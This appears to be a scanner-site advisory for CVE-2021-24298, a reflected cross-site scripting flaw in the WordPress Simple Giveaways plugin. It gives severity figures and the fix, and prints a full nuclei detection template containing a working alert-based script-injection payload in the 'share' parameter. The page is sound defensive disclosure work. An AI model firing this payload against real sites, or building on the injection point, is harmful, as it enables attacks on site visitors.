WordPress Simple Giveaways <2.36.2 - Cross-Site Scripting

mediumseverity

6.1CVSS score

3.5%likelihood of exploitation, next 30 days

89%of all CVEs are less likely

Readycheck to confirm it

WordPress Simple Giveaways plugin before 2.36.2 contains a cross-site scripting vulnerability via the method and share GET parameters of the Giveaway pages, which are not sanitized, validated, or escaped before being output back in the pages.

Impact

Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential theft of sensitive information or unauthorized actions.

Fix

Update to the latest version of the WordPress Simple Giveaways plugin (2.36.2 or higher) to mitigate the vulnerability.

How to confirm it

Send: GET /wp-content/plugins/giveasap/readme.txt
Positive when: contains "= Simple Giveaways"
Send: GET {{BaseURL}}/giveaway/mygiveaways/?share=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E
Positive when: contains "</script><script>alert(document.domain)</script>" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2021-24298 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2021-24298

info:
  name: WordPress Simple Giveaways <2.36.2 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: |
    WordPress Simple Giveaways plugin before 2.36.2 contains a cross-site scripting vulnerability via the method and share GET parameters of the Giveaway pages, which are not sanitized, validated, or escaped before being output back in the pages.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential theft of sensitive information or unauthorized actions.
  remediation: |
    Update to the latest version of the WordPress Simple Giveaways plugin (2.36.2 or higher) to mitigate the vulnerability.
  reference:
    - https://codevigilant.com/disclosure/2021/wp-plugin-giveasap-xss/
    - https://wpscan.com/vulnerability/30aebded-3eb3-4dda-90b5-12de5e622c91
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24298
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-24298
    cwe-id: CWE-79
    epss-score: 0.03451
    epss-percentile: 0.89116
    cpe: cpe:2.3:a:ibenic:simple_giveaways:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: ibenic
    product: "simple_giveaways"
    framework: wordpress
  tags: cve2021,cve,wpscan,wordpress,xss,wp-plugin,ibenic,vuln
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/giveasap/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - '= Simple Giveaways'

  - method: GET
    path:
      - '{{BaseURL}}/giveaway/mygiveaways/?share=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

References

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